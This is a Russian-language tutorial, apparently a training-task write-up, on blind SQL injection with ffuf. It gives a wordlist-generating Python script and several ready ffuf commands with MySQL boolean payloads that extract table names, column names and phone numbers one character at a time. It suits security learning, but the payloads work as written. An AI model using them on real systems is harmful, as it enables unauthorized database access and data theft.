Blind SQL Injection with ffuf
@cherepawwkaВсем привет!
Сегодня в короткой статье я расскажу способ облегчения эксплуатации слепой SQL-инъекции в случае, если у вас нет Burp Pro, вы не очень хорошо пишете скрипты на Python, а SQLMap помечает параметр как неинжектируемый

Приступим!
Верификация SQL-инъекции
Представим, что вы изучаете веб-приложение и нашли SQL-инъекцию в параметре "check" POST-запроса.
Ниже приведены примеры легитимных запросов и реакции веб-приложения на них:


А тут я тестирую параметр на наличие SQL-инъекции:


Несложно заметить, что в случае истинности выражения после логического оператора OR в запросе приложение возвращает строку
Статус заказа: under consideration
В случае, если выражение ложно, мы получаем другой результат:
Такого номера нет в базе
Делаем вывод, что это приложение уязвимо к SQL-инъекции, в данном случае инъекция слепая.
Теперь наша задача состоит в раскрутке этой инъекции, чтобы в дальнейшем выудить всю нужную нам информацию из БД. И делать я буду это через ffuf.
Приступаем к эксплуатации
Первым делом генерируем 2 списка, которые нам понадобятся в процессе эксплуатации. Сделать это можно при помощи простого Python скрипта:
f = open("ASCII.txt", "w")
n = open("length.txt", "w")
for x in range(1,127):
if x<=50:
f.write(str(x)+"\n")
n.write(str(x)+"\n")
else:
f.write(str(x)+"\n")
Запускаем его:
python3 ./script.py
В результате получаем на выходе 2 текстовых файла, в одном из которых будут содержаться числа от 1 до 127, а во втором от 1 до 50. Это нужно для того, чтобы в дальнейшем доставать из БД информацию о строке посимвольно по коду её ASCII символа.
Логическое выражение необходимо подставлять вместо 1=1 на приведенных выше запросах. Так, для перебора таблиц в БД будет использоваться серия следующих запросов:
ffuf -u "http://example.com/index.php" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "check=%27+or+ASCII(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1), WFUZZ, 1))='HFUZZ'--+-" -w ASCII.txt:HFUZZ -w length.txt:WFUZZ -fs 13173
Разберем команду подробнее.
Аргумент -u указывает на тестируемый URL. -X POST сообщает, что передача данных будет осуществляться методом POST. Далее передаётся необходимый заголовок Content-Type: application/x-www-form-urlencoded в параметре -H, указывающий на способ представления контента в теле запроса (в данном случае URL-энкод). В параметре -d передается полное тело запроса (все параметры и их значения). В нашем случае именно сюда мы и передаем SQL-инъекцию. При помощи -w передаём в запрос словари (в моем случае это 2 ранее сгенерированных списка, содержащих числа). Значения из этих словарей будут вставлены в тело полезной нагрузки вместо определенных для них марекров: WFUZZ для списка length.txt и HFUZZ для списка ASCII.txt. Аргумент -fs позволяет отфильтровать ненужные нам результаты длиной 13173 символа.
Полезная нагрузка инъекции выглядит следующим образом:
ASCII(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1), WFUZZ, 1))='HFUZZ'
Разберем и её.
Нагрузка на самом деле выглядит следующим образом, если рассматривать ее на более простом примере:
ASCII(substring('string', 1, 1))='1'
Раскрывать скобки начинаем изнутри. Функция substring('string', 1, 1) выбирает из строки, передаваемой в первом аргументе, подстроку, начиная с первого символа и длиной 1. В данном случае такой запрос вернет символ s. Если мы изменяем запрос на substring('string', 2, 1), то он вернет символ t.
Далее от этого символа мы берём его ASCII-код. Для буквы s это 115. следовательно, выражение ASCII(substring('string', 1, 1))='1' будет ложным, а вот ASCII(substring('string', 1, 1))='115' — истинным.
В нашу нагрузку мы вместо строки string передаем результат выполнения SQL-запроса:
select table_name from information_schema.tables where table_schema=database() limit 0,1
Этот запрос — стандартный запрос для извлечения имен таблиц из СУБД MySQL при помощи служебной базы данных imformation_schema. В данном случае без функции limit 0,1 запрос вернёт все таблицы, которые существуют в нашей базе данных. Однако, так как нам нужно вытаскивать информацию построчно, приходится добавлять limit и манипулировать первым передаваемым в него аргументом:
limit 0,1 — возвращает название первой таблицы в виде строки limit 1,1 — возвращает название второй таблицы в виде строки limit 2,1 — возвращает название третьей таблицы в виде строки ...
Таким образом, изменяя аргументы в функции limit от запроса к запросу, мы можем построчно вытаскивать информацию об именах таблиц из БД, а, оборачивая результат в ASCII(substring()), у нас также получится автоматизировать процесс идентификации кодов ASCII символов в названии таблицы.
Приведу пример, в котором вызов команды аналогичен разобранному ранее запросу. Вот как выглядит результат:

Кажется, что теперь придется тратить много времени на ручное декодирование каждого символа, однако тут нам на помощь приходит CyberChef и умение работать с регулярными выражениями:

Получаем имя первой таблицы: orders.
Теперь изменим аргумент в функции limit на 2,1 и достанем имя третьей таблицы:
ffuf -u "http://example.com/index.php" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "check=%27+or+ASCII(substring((select table_name from information_schema.tables where table_schema=database() limit 2,1), WFUZZ, 1))='HFUZZ'--+-" -w ASCII.txt:HFUZZ -w length.txt:WFUZZ -fs 13173

Декодируем результат:

Получаем имя ещё одной таблицы!
По аналогии делаем все те же действия с оставшимися таблицами, но это я оставлю за кадром.
Теперь пришло время вытаскивать имена столбцов из имеющихся таблиц. Для примера попробуем вытащить имена столбцов из таблицы phones. Запрос будет выглядеть следующим образом:
ffuf -u "http://example.com/index.php" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "check=%27+or+ASCII(substring((select column_name from information_schema.columns where table_name='phones' limit 0,1), WFUZZ, 1))='HFUZZ'--+-" -w ASCII.txt:HFUZZ -w length.txt:WFUZZ -fs 13173
Здесь сам запрос к БД внутри нагрузки выглядит так:
select column_name from information_schema.columns where table_name='phones' limit 0,1
Он тоже использует служебную БД information_schema для извлечения имён колонок из таблицы, и тоже использует limit для того, чтобы возвращать только один результат в виде строки. Изменяя аргументы limit мы также можем вытащить все колонки из таблицы phones:




В результате получаем структуру таблицы phones:
- id
- phone
Осталось лишь извлечь данные из неё. Для этого используем следующий запрос:
ffuf -u "http://example.com/index.php" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "check=%27+or+ASCII(substring((select phone from phones limit 0,1), WFUZZ, 1))='HFUZZ'--+-" -w ASCII.txt:HFUZZ -w length.txt:WFUZZ -fs 13173
Здесь используется стандартный SQL запрос:
select phone from phones limit 0,1
Так как id нас особо не интересует, я начал перебирать сразу колонку phones. Изменяя аргументы в limit, мы вновь сможем вытащить все данные построчно:
select phone from phones limit 0,1 — вернёт первый телефон select phone from phones limit 1,1 — вернёт второй телефон select phone from phones limit 2,1 — вернёт третий телефон ...
Для примера продемонстрирую извлечение первого номера:
ffuf -u "http://example.com/index.php" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "check=%27+or+ASCII(substring((select phone from phones limit 0,1), WFUZZ, 1))='HFUZZ'--+-" -w ASCII.txt:HFUZZ -w length.txt:WFUZZ -fs 13173


И ранее мы подтвердили существование значения этого телефона в таблице, когда искали уязвимую к SQL точку.
Дальнейшую эксплуатацию я демонстрировать не буду (остальные таблицы, колонки и строки), чтобы не портить впечатление от задания другим обучающимся :)
На этом всё, до новых встреч!
